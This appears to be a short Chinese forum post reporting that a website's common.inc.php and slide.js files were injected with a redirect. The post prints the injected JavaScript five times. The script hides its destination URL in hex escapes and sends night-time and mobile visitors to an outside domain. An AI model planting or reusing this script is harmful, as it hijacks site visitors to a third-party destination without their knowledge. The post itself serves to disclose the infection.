两个文件是：
common.inc.php
slide.js
都是加的一个跳转语句：
<script type="text/javascript">var h=new Date().getHours();if(h>=22||h<=6){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};if(navigator.userAgent.toLowerCase().match(/(ipod|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i)!=null){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};</script><script type="text/javascript">var h=new Date().getHours();if(h>=22||h<=6){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};if(navigator.userAgent.toLowerCase().match(/(ipod|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i)!=null){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};</script><script type="text/javascript">var h=new Date().getHours();if(h>=22||h<=6){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};if(navigator.userAgent.toLowerCase().match(/(ipod|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i)!=null){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};</script><script type="text/javascript">var h=new Date().getHours();if(h>=22||h<=6){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};if(navigator.userAgent.toLowerCase().match(/(ipod|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i)!=null){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};</script><script type="text/javascript">var h=new Date().getHours();if(h>=22||h<=6){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};if(navigator.userAgent.toLowerCase().match(/(ipod|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i)!=null){window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x30\x2e\x68\x6b\x31\x30\x2e\x77\x78\x64\x6c\x70\x74\x2e\x63\x6f\x6d"};</script>
--
FROM 49.69.180.*